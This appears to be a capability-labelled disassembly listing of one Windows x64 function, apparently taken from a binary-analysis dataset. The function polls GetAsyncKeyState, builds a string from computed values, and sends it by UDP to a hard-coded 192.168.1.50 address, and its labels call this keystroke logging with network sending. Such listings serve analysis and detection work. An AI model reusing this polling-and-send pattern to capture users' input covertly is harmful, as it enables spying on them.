Function at 0x14003c3c0
Capabilities:
Initialize winsock library
Log keystrokes via polling
Send data
Send data on socket

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x1e0]
sub rsp, 0x2e0
movaps xmmword [rsp + 0x2d0], xmm6
mov rax, qword [0x140126040]
xor rax, rsp
mov qword [rbp + 0x130], rax
cmp byte [0x1401260fc], 0
movaps xmm6, xmm2
mov ebx, dword [0x14012a240]
mov edi, dword [0x14012a254]
movsd qword [rsp + 0x40], xmm2
je 0x14003c7da
mov ecx, dword [0x140126140]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x14003c7da
lea rcx, [0x14012b680]
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
je 0x14003c440
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
cmp dword [0x14012b6cc], 0x7fffffff
jne 0x14003c462
mov ecx, 6
mov dword [0x14012b6cc], 0x7ffffffe
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov eax, dword [0x1401260e0]
xorps xmm0, xmm0
cvtsi2sd xmm0, dword [0x14012610c]
mov qword [rsp + 0x300], rsi
mov esi, 1
mov dword [0x14012a234], eax
movaps xmmword [rsp + 0x2c0], xmm7
xorps xmm7, xmm7
movaps xmmword [rsp + 0x2a0], xmm9
xorps xmm9, xmm9
movaps xmmword [rsp + 0x290], xmm10
xorps xmm10, xmm10
movaps xmmword [rsp + 0x280], xmm11
xorps xmm11, xmm11
movaps xmmword [rsp + 0x270], xmm12
xorps xmm12, xmm12
movaps xmmword [rsp + 0x260], xmm13
movsd xmm13, qword [0x14011cce8]
comisd xmm6, xmm13
movaps xmmword [rsp + 0x250], xmm14
xorps xmm14, xmm14
movaps xmmword [rsp + 0x240], xmm15
xorps xmm15, xmm15
cvtsi2sd xmm15, ebx
cvtsi2sd xmm14, edi
divsd xmm15, xmm6
divsd xmm14, xmm6
mulsd xmm15, xmm0
mulsd xmm14, xmm0
jb 0x14003c77e
mov qword [rsp + 0x308], r14
movaps xmm2, xmm13
mov qword [rsp + 0x318], r15
lea r14d, [rsi + 1]
movaps xmmword [rsp + 0x2b0], xmm8
xor r15d, r15d
nop
movaps xmm0, xmm15
lea rdx, [rsp + 0x30]
divsd xmm0, xmm2
movaps xmm1, xmm14
divsd xmm1, xmm2
cvttsd2si ebx, xmm0
cvttsd2si eax, xmm1
movd xmm8, eax
cvtdq2pd xmm8, xmm8
movaps xmm0, xmm8
movsd qword [rsp + 0x30], xmm8
call qword [sym.imp.api_ms_win_crt_math_l1_1_0.dll_modf]
addsd xmm9, xmm0
comisd xmm9, xmm13
jbe 0x14003c59e
lea rdx, [rsp + 0x38]
movsd qword [rsp + 0x38], xmm10
movaps xmm0, xmm9
call qword [sym.imp.api_ms_win_crt_math_l1_1_0.dll_modf]
movaps xmm9, xmm0
movd xmm6, ebx
lea rdx, [rsp + 0x38]
cvtdq2pd xmm6, xmm6
movaps xmm0, xmm6
movsd qword [rsp + 0x38], xmm6
call qword [sym.imp.api_ms_win_crt_math_l1_1_0.dll_modf]
addsd xmm7, xmm0
comisd xmm7, xmm13
jbe 0x14003c5dd
lea rdx, [rsp + 0x30]
movsd qword [rsp + 0x30], xmm10
movaps xmm0, xmm7
call qword [sym.imp.api_ms_win_crt_math_l1_1_0.dll_modf]
movaps xmm7, xmm0
cmp byte [0x14012cae9], r15b
movaps xmm0, xmm8
subsd xmm0, xmm11
cvttsd2si edi, xmm0
je 0x14003c730
movsd xmm0, qword [0x14012cae0]
lea rdx, [rsp + 0x60]
xor eax, eax
mov byte [rbp + 0x100], r15b
addsd xmm0, xmm13
mov qword [rbp + 0x101], rax
mov ecx, 0x202
mov word [rbp + 0x109], ax
mov byte [rbp + 0x10b], al
cvttsd2si ebx, xmm0
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov r8d, edi
lea rdx, [0x140054d2c]
lea rcx, [rbp + 0x110]
call fcn.140051400
mov r8d, ebx
lea rdx, [0x140054d2c]
lea rcx, [rbp + 0x120]
call fcn.140051400
lea r8, [rbp + 0x110]
mov edx, 0xc
lea rcx, [rbp + 0x100]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea r8, [0x14011cc30]
mov edx, 0xc
lea rcx, [rbp + 0x100]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea r8, [rbp + 0x120]
mov edx, 0xc
lea rcx, [rbp + 0x100]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
mov r8d, sendto
mov edx, r14d
mov ecx, r14d
call qword [sym.imp.WS2_32.dll_socket]
mov ecx, 0x1f90
mov qword [rsp + 0x50], r15
mov rbx, rax
mov word [rsp + 0x48], r14w
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, str.192.168.1.50
mov word [rsp + 0x4a], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0x4c], eax
mov r8, 0xffffffffffffffff
lea rax, [rbp + 0x100]
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x14003c700
lea rax, [rsp + 0x48]
mov dword [rsp + 0x28], socket
xor r9d, r9d
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x100]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_sendto]
jmp 0x14003c743
movaps xmm0, xmm6
mov ecx, edi
subsd xmm0, xmm12
cvttsd2si edx, xmm0
call fcn.1400510c0
movsd xmm0, qword [rsp + 0x40]
inc esi
movaps xmm11, xmm8
movaps xmm12, xmm6
movd xmm2, esi
cvtdq2pd xmm2, xmm2
comisd xmm0, xmm2
jae 0x14003c540
movaps xmm8, xmmword [rsp + 0x2b0]
mov r15, qword [rsp + 0x318]
mov r14, qword [rsp + 0x308]
lea rcx, [0x14012b680]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
movaps xmm15, xmmword [rsp + 0x240]
movaps xmm14, xmmword [rsp + 0x250]
movaps xmm13, xmmword [rsp + 0x260]
movaps xmm12, xmmword [rsp + 0x270]
movaps xmm11, xmmword [rsp + 0x280]
movaps xmm10, xmmword [rsp + 0x290]
movaps xmm9, xmmword [rsp + 0x2a0]
movaps xmm7, xmmword [rsp + 0x2c0]
mov rsi, qword [rsp + 0x300]
mov rcx, qword [rbp + 0x130]
xor rcx, rsp
call fcn.140051cc0
movaps xmm6, xmmword [rsp + 0x2d0]
add rsp, 0x2e0
pop rdi
pop rbx
pop rbp
ret